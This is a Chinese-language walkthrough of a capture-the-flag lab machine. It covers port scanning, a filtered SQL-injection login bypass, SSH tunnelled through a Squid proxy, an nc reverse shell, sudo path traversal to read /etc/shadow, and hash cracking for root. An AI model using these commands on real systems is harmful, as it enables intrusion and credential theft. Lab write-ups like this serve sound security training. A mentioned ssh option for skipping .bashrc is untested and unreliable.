一、信息收集
sudo nmap -sn 192.168.56.0/24 获得目标IP 192.168.56.101
sudo nmap -sT –min-rate 10000 -p- 192.168.56.101
[sudo] xiyu 的密码:
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-21 09:54 CST
Nmap scan report for 192.168.56.101
Host is up (0.00067s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http
3128/tcp open squid-http
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 4.56 seconds
sudo nmap -sC -sV -p 22,80,3128 192.168.56.101
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-21 20:29 CST
Nmap scan report for 192.168.56.101
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
3128/tcp open http-proxy Squid http proxy 3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.1.20
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.96 seconds
web信息
目录扫描
gobuster dir -u http://192.168.56.101 –wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .zip,.sql,.html,.rar,.txt,.php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.101
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,rar,txt,php,zip,sql
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 286]
/.html (Status: 403) [Size: 287]
/index.html (Status: 200) [Size: 1136]
/index (Status: 200) [Size: 1136]
/login.php (Status: 200) [Size: 21]
/background (Status: 200) [Size: 2572609]
/.html (Status: 403) [Size: 287]
/.php (Status: 403) [Size: 286]
/background2 (Status: 200) [Size: 2831446]
/server-status (Status: 403) [Size: 295]
二、立足点
访问 http://192.168.56.101 其实是访问 http://192.168.56.101/index.html
有一个登陆框 立即想到要测试 SQL注入
提交一下用户名和密码 发现会提交到 login.php
测试 ‘ ” 可以发现 是确定有sql注入点的
尝试使用 1 ‘ or 1=1 # 突破登陆验证 进入后台
可以发现 有多个字符被 过滤 or union select
or 被过滤了 使用 || —> 1‘ || 1=1 # 绕过成功登陆后台
获得一个凭证
Username: john
Password: hereisjohn
但是 发现 22端口 是 filtered ssh登陆用不了
同时 发现有端口 3128 运行着 squid-http 服务
Squid 是一个流行的开源代理服务器软件,常用于缓存和过滤 Web 内容,以及提供安全的网络访问。
1.代理服务器:Squid 是一个代理服务器,可以作为客户端和服务器之间的中间人,代理客户端发送的请求并返回服务器的响应。
2.缓存功能:Squid 可以缓存经常访问的 Web 内容,提高访问速度并减少对源服务器的负载。
过滤功能:Squid 可以根据配置规则过滤 Web 内容,例如禁止访问特定网站、阻止某些文件类型的下载等。
3.安全性:Squid 可以提供安全的网络访问,包括 SSL/TLS 加密连接、访问控制列表等功能
squid 是个代理服务器软件 可以将一个IP:端口的转发到另一个IP:端口
已知 80 可以访问 22 不可以访问 我们假设 3128 端口 将流量 转发到22 端口
那么我们可以使用 工具 将访问 22端口的流量 转发到3128 端口
proxytunnel -a 6666 -p 192.168.56.101:3128 -d 192.168.56.101:22&
Proxytunnel:
proxytunnel 是用于建立 TCP 隧道的工具,主要用于通过代理服务器连接到目标服务,例如通过 HTTP 代理连接到 SSH 服务。通过代理服务器进行网络通信,通常用于绕过网络防火墙或者增强通信的安全性。
proxytunnel 主要用于建立单个 TCP 隧道,一次只能连接一个目标服务。
proxytunnel -a local_port -p proxy_server:proxy_port -d destination_host:destination_port
-a local_port:本地监听的端口号,代理服务器会将流量转发到该端口。
-p proxy_server:proxy_port:代理服务器的地址和端口号。
-d destination_host:destination_port:目标主机的地址和端口号。
proxychains ssh john@192.168.56.101
配置 proxychains 的配置文件/etc/proxychains.conf
sudo vim /etc/proxychains.conf 添加一条记录
http 192.168.56.101 3128
1.proxychains 是一个可以让任何程序通过 SOCKS4、SOCKS5 或 HTTP 代理进行网络连接的工具。它可以对整个系统或者特定程序进行代理设置,使得所有网络流量都经过代理服务器。
2.proxychains 不仅可以用于建立 TCP 隧道,还可以用于代理 UDP 数据包,同时也支持 DNS 请求的代理。
3.proxychains 的使用更加灵活,可以对多个程序或者系统级别的网络流量进行代理设置
尝试使用 凭证登陆
登陆成功了 但是立刻被断开
经过搜索之后发现
在 /etc/profile 或用户的 .bashrc 文件中设置 TMOUT 变量来定义会话超时时间
TMOUT=0 # 立即退出会话
export TMOUT
一旦用户在 Shell 中没有活动(即没有键盘输入)立即会话会被强制退出,无需等待超时时间结束
既然登陆之后马上会被退出 就使用 ssh 的命令执行 查看一下情况
proxychains ssh john@192.168.56.101 -t “ls -al”
-t
参数用于强制分配一个TTY。当使用这个参数时,ssh会启动一个远程shell并提供与本地shell相似的交互式终端。 感觉不加也没关系 没什么本质的差别
proxychains ssh john@192.168.56.101 -t "nc -e /bin/bash 192.168.56.101 1234"
nc -lvp 1234
可以发现 获得了一个最初始的反弹shell,可以执行命令
但是想要 获取一个交互shell 时发现和 ssh登陆时一样 自动退出了 交互的shell
查看 .bahsrc
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
echo
echo "Funds have been withdrawn"
exit
将.bashrc 删除可以登陆 cp .bashrc bashrc rm .bashrc
插播两个没有验证的方法:
临时禁用.bashrc:
如果发现exit命令是导致问题的原因,你可以通过在SSH命令中使用-o(或--option)选项来禁用.bashrc的加载:
ssh -o "no_dotbashrc" username@hostname
或者,你可以在登录后立即运行以下命令来禁用.bashrc:
source <(echo "exit")
proxychains ssh john@192.168.56.101 登陆成功
三、提权
查看 /var/www/login.php 其中有登陆的逻辑 包含了数据库连接的语句 获得mysql 的用户和密码
mysql -u root -p root
登陆mysql 发现一个用户表
获得用户凭证:
sara ihatethisjob
william senseable
su sara 输入密码 用户提权成功
sudo -l
Matching Defaults entries for sara on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host:
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
知识点 : ../绕过命令对路径的限制 2.在家目录 可以使用 ln -sv /etc/shadow shadow 创建shadow 指向/etc/shadow 注意:在家目录用户可以做很多事情
sudo /bin/cat /accounts/../home/sara/shadow
其实直接构造 成 sudo /bin/cat /accounts/../etc/shadow 就可以(哈哈)
获得root 的凭证
建一个字典来爆破root凭证
vim pass
skytower
hashcat --stdout pass -r /home/xiyu/OneRuleToRuleThemStill-main/OneRuleToRuleThemStill.rule >passlist.txt
john --format=sha512crypt --wordlist=./pass hash
获得root的密码
su root
提权成功